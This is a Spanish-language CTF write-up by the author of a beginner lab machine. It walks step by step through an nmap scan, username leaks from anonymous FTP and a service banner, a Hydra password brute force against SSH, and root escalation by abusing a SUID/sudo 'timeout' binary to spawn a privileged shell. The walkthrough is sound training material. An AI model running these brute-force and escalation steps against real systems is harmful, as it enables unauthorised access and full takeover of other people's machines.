TickTakRoot: De FTP Anónimo a Root por Mala Gestión de Accesos y Privilegios

Autor: Oscar | Senior Platform Engineer / SRE
Dificultad: Principiante | SO: Linux

Sobre este CTF

TickTakRoot es una máquina que diseñé para enseñar una cadena de compromiso sencilla, directa y muy habitual en sistemas mal mantenidos: exposición innecesaria de servicios, autenticación débil y privilegios mal delegados en binarios del sistema.

No hace falta una vulnerabilidad compleja para comprometer un host. A veces basta con un acceso anónimo mal controlado, una credencial trivial y un binario con permisos peligrosos para terminar con una shell como root.

En esta entrada muestro la resolución completa, desde el reconocimiento inicial hasta la escalada final, explicando qué representa cada paso y por qué sigue siendo un patrón real fuera del laboratorio.

Información técnica

Reconocimiento

Verificación de conectividad

Antes de empezar con la enumeración, comprobamos que el objetivo responde en red:

ping -c 1 192.168.100.7

Esta validación inicial nos confirma que la máquina está activa y accesible desde nuestro entorno de ataque.

Escaneo de puertos y servicios

El siguiente paso es identificar la superficie de exposición. Para ello realizamos un escaneo completo con Nmap:

sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN ticktackroot.txt 192.168.100.7

Resultado:

Starting Nmap 7.98 ( https://nmap.org ) at 2025-09-19 08:11 -0300
Nmap scan report for 192.168.100.7
Host is up (0.00073s latency).
Not shown: 65532 closed tcp ports (reset)

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0           10671 Oct 03  2024 index.html
|_drwxr-xr-x    2 0        0            4096 Oct 07  2024 login
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.100.4
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 5c:38:6e:8a:4b:bb:b4:2a:ca:cb:3a:94:62:9c:aa:7e (ECDSA)
|_  256 06:c4:ea:41:7d:c3:4b:f7:8c:68:19:6b:5c:23:e4:70 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

MAC Address: 08:00:27:61:36:56 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Análisis inicial

La máquina expone tres servicios muy comunes, pero el escaneo ya deja una pista clara de por dónde entra la resolución.

• Puerto 21: FTP con acceso anónimo habilitado.
• Puerto 22: SSH accesible, útil si logramos obtener credenciales válidas.
• Puerto 80: Apache con la página por defecto, sin contenido interesante a simple vista.

El dato más importante del escaneo no está en HTTP ni en SSH. Está en FTP: acceso anónimo permitido y un directorio login visible desde el primer momento. Esa combinación ya sugiere exposición innecesaria de información interna.

Exploración

Acceso al FTP anónimo

Al conectarnos al servicio FTP comprobamos que el login anónimo está permitido.

Dentro del recurso compartido aparecen dos elementos relevantes:

• un archivo index.html
• un directorio login

Entramos al directorio login y descargamos el fichero login.txt para revisar su contenido en local:

cat login.txt

Resultado:

rafael
monica

A simple vista, el fichero nos deja dos posibles usuarios del sistema.

Banner grabbing en FTP

Como todavía no tenemos suficiente contexto para decidir cuál de esos usuarios puede ser válido, hacemos una comprobación simple contra el servicio FTP mediante nc:

nc 192.168.100.7 21

Salida:

220 Bienvenido Robin

Ese banner cambia por completo la lectura. Aunque login.txt solo mostraba rafael y monica, el propio servicio deja expuesto otro nombre con mucho más peso: Robin.

Lista de usuarios candidatos

Con la información obtenida, preparamos una lista de usuarios potenciales:

cat usernames.txt

Resultado:

rafael
monica
robin

Comentario

Aquí aparece uno de los errores más habituales en máquinas de nivel básico y, fuera del laboratorio, también en entornos mal operados: un servicio heredado o mal controlado deja expuesta información útil sin necesidad de autenticación real.

En este caso, la enumeración no depende de una sola fuente. Se construye a partir de dos:

• un fichero accesible por FTP anónimo con posibles usuarios
• un banner del propio servicio que revela el nombre más importante

Ese detalle también enseña algo útil: no conviene depender solo de una técnica. A veces el dato decisivo no está en el fichero descargado, sino en un banner mal cuidado.

Servicio HTTP

Al revisar el puerto 80, únicamente encontramos la página por defecto de Apache:

Apache2 Ubuntu Default Page: It works

No hay rutas visibles, contenido útil ni ninguna pista que cambie la dirección del análisis. En esta máquina, HTTP está expuesto, pero no es el vector principal.

Análisis

El punto importante aquí es no perder tiempo donde no aporta. La web no entrega nada relevante, mientras que FTP ya ha confirmado:

• acceso anónimo
• contenido descargable
• nombres potenciales de usuario
• un banner que apunta claramente a robin

En este caso, robin es el candidato más sólido para continuar contra SSH.

Explotación

Fuerza bruta contra SSH

Con el usuario robin identificado, el siguiente paso es comprobar si la contraseña también es débil.

Para ello utilizamos Hydra con rockyou.txt contra el servicio SSH:

hydra -l robin -P /usr/share/wordlists/rockyou.txt ssh://192.168.100.7 -t 64

Resultado:

[22][ssh] host: 192.168.100.7   login: robin   password: babyblue
1 of 1 target successfully completed, 1 valid password found

Ya tenemos una credencial válida:

• Usuario: robin
• Contraseña: babyblue

Con esa información, accedemos por SSH:

ssh robin@192.168.100.7

Comentario

La explotación aquí no depende de una debilidad en OpenSSH. Depende de algo mucho más simple y mucho más común:

• usuario deducible
• contraseña débil
• servicio remoto expuesto
• ausencia de controles eficaces frente a intentos automatizados

Este patrón sigue siendo totalmente realista. No por sofisticación, sino por repetición de errores básicos.

Acceso inicial

Una vez dentro del sistema, comprobamos el contexto actual:

whoami

Resultado esperado:

robin

Ya tenemos acceso al host, pero todavía no somos root. A partir de aquí toca revisar privilegios y buscar una vía de escalada local.

Escalada de privilegios

Revisión de sudo

Como primera comprobación, listamos permisos sudo:

sudo -l

Aquí aparece el dato clave de la máquina: existe un binario llamado timeout_suid que puede ejecutarse con privilegios elevados.

Ruta identificada:

/usr/bin/timeout_suid

Abuso de binario SUID

El comando timeout sirve para ejecutar procesos durante un tiempo determinado y finalizarlos si exceden el límite definido. Por sí mismo no tendría por qué ser un problema, pero cuando aparece modificado o expuesto con permisos inseguros, se convierte en una vía clara de abuso.

En esta máquina puede aprovecharse para lanzar una shell preservando privilegios efectivos:

/usr/bin/timeout_suid 7d /bin/sh -p

Una vez ejecutado:

whoami
id

Resultado esperado:

root
uid=0(root) gid=0(root) groups=0(root)

Ya tenemos acceso completo al sistema.

Notas del autor

Aunque TickTakRoot es una máquina de nivel principiante, está diseñada para enseñar una cadena muy concreta que aparece constantemente en sistemas reales mal mantenidos:

Lo importante de esta máquina no es solo conseguir una shell. Lo importante es entender la cadena completa: primero se expone información, luego se rompe autenticación y al final se remata el sistema con una mala delegación de privilegios.

Recursos y referencias

• Nmap
• Hydra
• GTFOBins
• OpenSSH